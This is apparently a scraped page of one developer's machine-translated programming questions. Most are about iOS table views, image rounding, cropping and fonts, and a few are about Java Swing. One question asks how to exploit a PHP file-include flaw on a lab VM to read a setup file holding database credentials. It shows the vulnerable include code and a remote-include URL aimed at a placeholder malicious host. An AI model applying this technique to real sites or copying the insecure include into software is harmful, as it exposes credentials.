我的UIImageView每个UITableView单元格上都有一个显示远程图像(使用SDWebImage)的图像.我已经QuartzCore为图像视图做了一些图层样式,如下所示:
UIImageView *itemImageView = (UIImageView *)[cell viewWithTag:100];
itemImageView.layer.borderWidth = 1.0f;
itemImageView.layer.borderColor = [UIColor concreteColor].CGColor;
itemImageView.layer.masksToBounds = NO;
itemImageView.clipsToBounds = YES;
Run Code Online (Sandbox Code Playgroud)
所以现在我有一个50x50的正方形,有一个微弱的灰色边框,但我想把它做成圆形而不是方形.该应用程序Hemoglobe在表视图中使用圆形图像,这就是我想要实现的效果.但是,我不想使用cornerRadius,因为这会降低我的滚动FPS.
这里Hemoglobe显示循环UIImageViews:

有没有办法达到这个效果?谢谢.
我有这样的菜单:

每个单元格的正常(未选定)状态是图像,所选状态也是图像(看起来像默认的蓝色图像).但是,我想添加一个额外的第三个图像,这样当用户选择一个单元格时,它会在变为蓝色(选中)之前短暂更改为第三个颜色.
这是我的代码:
(UITableViewCell *)tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
[tableView setBackgroundColor:[UIColor clearColor]];
NSString *cellIdentifier = @"MenuItemCell";
UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:cellIdentifier];
if (cell == nil) {
cell = [[UITableViewCell alloc] initWithStyle:UITableViewCellStyleSubtitle reuseIdentifier:cellIdentifier];
}
UIImage *cellBackgroundNormal = [UIImage imageNamed:@"cell_menu_normal"];
UIImage *cellBackgroundSelected = [UIImage imageNamed:@"cell_menu_selected"];
UIImageView *cellBackgroundView = [[UIImageView alloc] initWithImage:cellBackgroundNormal];
UIImageView *cellBackgroundSelectedView = [[UIImageView alloc] initWithImage:cellBackgroundSelected];
cell.backgroundView = cellBackgroundView;
cell.selectedBackgroundView = cellBackgroundSelectedView;
[cell.textLabel setBackgroundColor:[UIColor clearColor]];
[cell.textLabel setTextColor:[UIColor whiteColor]];
[cell.textLabel setFont:[UIFont boldSystemFontOfSize:17.0]];
cell.textLabel.text = [self.menuItems objectAtIndex:indexPath.row];
return cell;
}
Run Code Online (Sandbox Code Playgroud)
如你所见,我现在只有两个州.我不知道如何cell.hoveredBackgroundView为第三张图片介绍某种形式.如果有人能帮我实现这一点,我真的很感激.
我使用的是UIImageView我的每个中UITableViewCells,为缩略图.我的代码用来SDWebImage从我的后端异步抓取这些图像并加载它们,然后缓存它们.这工作正常.
我UIImageView是一个50x50的正方形,在Interface Builder中创建.它的背景是不透明的,白色(与我的UITableViewCell背景颜色相同,用于表现).但是,我想使用光滑的角落来获得更好的美感.如果我这样做:
UIImageView *itemImageView = (UIImageView *)[cell viewWithTag:100];
itemImageView.layer.cornerRadius = 2.5f;
itemImageView.layer.masksToBounds = NO;
itemImageView.clipsToBounds = YES;
Run Code Online (Sandbox Code Playgroud)
我的tableview立即下降5-6帧,在快速滚动期间约为56 FPS(这是可以的),但是当我拖动并拉动刷新控件时,它会稍微滞后并下降到40 FPS左右.如果我删除该cornerRadius行,一切都很好,没有滞后.这已在使用Instruments的iPod touch 5G上进行了测试.
有没有其他方法可以让UIImageView我的细胞四舍五入并且不受性能影响?我已经优化了我cellForRowAtIndexPath,我得到56-59 FPS而快速滚动没有cornerRadius.
我想在a上使用OpenSans字体UILabel,但它没有出现在iOS模拟器中.出现的只是默认的系统字体.我有:
1)添加文件到项目+选择复制到app文件夹.
2)添加到Info.plist.

3)Xcode自动将所有字体添加到我的构建阶段文件夹中.
4)清理项目+再次构建它.
它仍然没有显示出来!在我的代码中,我有这个:
self.itemPrice = [[UILabel alloc] initWithFrame:CGRectMake(230.0, 30.0, 75.0, 30.0)];
self.itemPrice.adjustsFontSizeToFitWidth = YES;
self.itemPrice.font = [UIFont fontWithName:@"OpenSans-ExtraBold" size:13.0f];
self.itemPrice.textAlignment = NSTextAlignmentCenter;
self.itemPrice.text = [NSString stringWithFormat:@"%@", [Formatters formatPrice:self.item.price]];
[self.slidingDetailScrollView addSubview:self.itemPrice];
Run Code Online (Sandbox Code Playgroud)
有谁知道是什么导致了这个奇怪的错误?
我有一个AVCaptureSession的实现,我的目标是让用户拍照并只保存红色方框边框内的图像部分,如下所示:

AVCaptureSession previewLayer(相机)从(0,0)(左上角)跨越到相机控制条的底部(包含快门的视图上方的条形图).我的导航栏和控制栏是半透明的,因此相机可以显示.
我正在使用[captureSession setSessionPreset:AVCaptureSessionPresetPhoto];以确保保存到相机胶卷的原始图像就像Apple的相机一样.
用户将能够以纵向,左右横向拍摄照片,因此裁剪方法必须考虑到这一点.
到目前为止,我已尝试使用此代码裁剪原始图像:
DDLogVerbose(@"%@: Image crop rect: (%f, %f, %f, %f)", THIS_FILE, self.imageCropRect.origin.x, self.imageCropRect.origin.y, self.imageCropRect.size.width, self.imageCropRect.size.height);
// Create new image context (retina safe)
UIGraphicsBeginImageContextWithOptions(CGSizeMake(self.imageCropRect.size.width, self.imageCropRect.size.width), NO, 0.0);
// Create rect for image
CGRect rect = self.imageCropRect;
// Draw the image into the rect
[self.captureManager.stillImage drawInRect:rect];
// Saving the image, ending image context
UIImage *croppedImage = UIGraphicsGetImageFromCurrentImageContext();
Run Code Online (Sandbox Code Playgroud)
然而,当我看到相机胶卷中的裁剪图像时,似乎它刚刚压缩了原始图像,而不是像我想的那样丢弃图像的顶部和底部.它还会在"裁剪"图像的顶部产生53像素的空白区域,这可能是因为我的y位置CGRect.
这是我的日志输出CGRect:
Image crop rect: (0.000000, 53.000000, 320.000000, 322.000000)
Run Code Online (Sandbox Code Playgroud)
这也描述了superview中红色边框视图的框架.
我有什么关键吗? …
我UITableView有一堆重复使用的细胞,当我对其中一个水龙头,它带我到另一个视图控制器(通过推送赛格瑞),显示该单元格的细节(我们说这是一个项目,所以它会显示有关项目的详细信息 - 名称,价格,图像等......).当我弹出那个视图控制器时(通过点击后退按钮),UITableView有一个奇怪的行为:
a)如果它一直滚动到底部,它将自动滚动(大约50点),使最后一个单元格几乎不可见,所以我必须再次向下滚动.我的牢房全高60分.
b)滚动条总是显示然后消失,表示某些东西正在移动UITableView(虽然如果没有滚动到底部,内容将不会自动移动).
这发生在UITableView我的应用程序中的多个.我没有强制在viewWillAppear中重新加载表视图,所以我不明白发生了什么.从服务器加载后,我的内容是静态的(除非用户更改它,然后执行重新加载).但只是显示项目的详细信息并弹出该VC不会改变表格视图中的任何内容.
编辑:好的,我已经弄清楚问题是什么:我UIToolbar在推动那个segue时隐藏了一个.如果我把它总是可见的(我不希望),它仍然显示滚动条在我的表视图弹出,但如果在最后几排不滚动表视图时动画.
我正在尝试利用在VM内部运行的示例网站中的一些Web漏洞(它不在网络上 - 仅用于教育目的).我有一个名为php的文件setupreset.php,其中包含有关用于设置网站的MySQL配置,设置和密码的信息.这与其他php文件(索引,产品,论坛等)位于同一目录中.
这是index.php的代码,供参考:
<?php
include ("includes/header.php");
// Grab inputs
$page = $_GET[page];
if ($page=="") {
include("home.html");
} else { include ($page . '.php'); }
include ("includes/footer.php");
?>
Run Code Online (Sandbox Code Playgroud)
主要目标是列出setupresetPHP文件的内容,或以某种方式下载它.如果我导航到这个文件:http://10.211.55.5/index.php?page=setupreset它会被执行,但PHP代码自然不会显示,因为它由PHP解释器解析.
现在,该网站使用PHP include,因此URL如下所示:http://10.211.55.5/index.php?page=products.这似乎是很容易受到远程文件包含,在那里我可以简单地指向另一个PHP页面,如http://10.211.55.5/index.php?page=http://badwebsite.com/myevilscript.php但allow_url_include是off,不能改变,所以这是不行的(这个我试过).但是,allow_url_fopen很可能(因为它默认打开),所以我的问题如下:是否可以上传PHP文件或一些列出setupreset.php使用此类漏洞利用内容的脚本?
我想创建一个JOptionPane允许用户选择要连接的IP地址和端口的.它的结构应如此,
IP地址:[textfield here]
港口:[textfield here]
取消确定
标签应该左对齐,文本字段也应该左对齐.我无法在这里对故事板进行真正的建模,但基本上文本字段不应该错位,即使标签和文本字段之间有空格也是如此.
每个标签和文本字段对应位于单独的行上,取消确定按钮应与文本框下方的右侧对齐.
在代码中有没有办法做到这一点?
这可能是一个非常简单的事情,我忽略了,但我似乎无法弄明白.
我有以下更新JTable的方法:
class TableModel extends AbstractTableModel {
public void updateTable() {
try {
// update table here
...
} catch (NullPointerException npe) {
isOpenDialog = true;
JOptionPane.showMessageDialog(null, "No active shares found on this IP!");
isOpenDialog = false;
}
}
}
Run Code Online (Sandbox Code Playgroud)
但是,我不希望isOpenDialog在按下消息对话框上的OK按钮之前将boolean设置为false,因为如果用户按下enter键,它将激活KeyListener文本字段上的事件并且如果设置了它将再次触发整个代码块到false.
KeyListener代码的一部分如下所示:
public class KeyReleased implements KeyListener {
...
@Override
public void keyReleased(KeyEvent ke) {
if(txtIPField.getText().matches(IPADDRESS_PATTERN)) {
validIP = true;
} else {
validIP = false;
}
if (ke.getKeyCode() == KeyEvent.VK_ENTER) {
if (validIP …Run Code Online (Sandbox Code Playgroud) 我有一个显示图片的UIImageView.当点击并保持时,只要用户将手指放在图像视图上,我就希望它变暗.基本上,我希望它像UIButton一样.
我目前使用UIGestureRecognizer执行此操作:
- (void)viewDidLoad
{
[super viewDidLoad];
UITapGestureRecognizer *singleTap = [[UITapGestureRecognizer alloc]
initWithTarget:self
action:@selector(pictureViewTapped)];
singleTap.numberOfTapsRequired = 1;
singleTap.numberOfTouchesRequired = 1;
[self.pictureImageView addGestureRecognizer:singleTap];
[self.pictureImageView setUserInteractionEnabled:YES];
}
Run Code Online (Sandbox Code Playgroud)
在我pictureViewTapped,我有这个(现在):
- (void)pictureViewTapped {
NSLog(@"Picture view was tapped!");
}
Run Code Online (Sandbox Code Playgroud)
如何使UIImageView变暗?任何帮助表示赞赏.
ios ×5
objective-c ×5
uitableview ×4
uiimageview ×3
java ×2
joptionpane ×2
swing ×2
cgrect ×1
colors ×1
crop ×1
exploit ×1
fonts ×1
jtable ×1
keylistener ×1
php ×1
scroll ×1
security ×1
ssi ×1
uiimage ×1
uilabel ×1
xcode ×1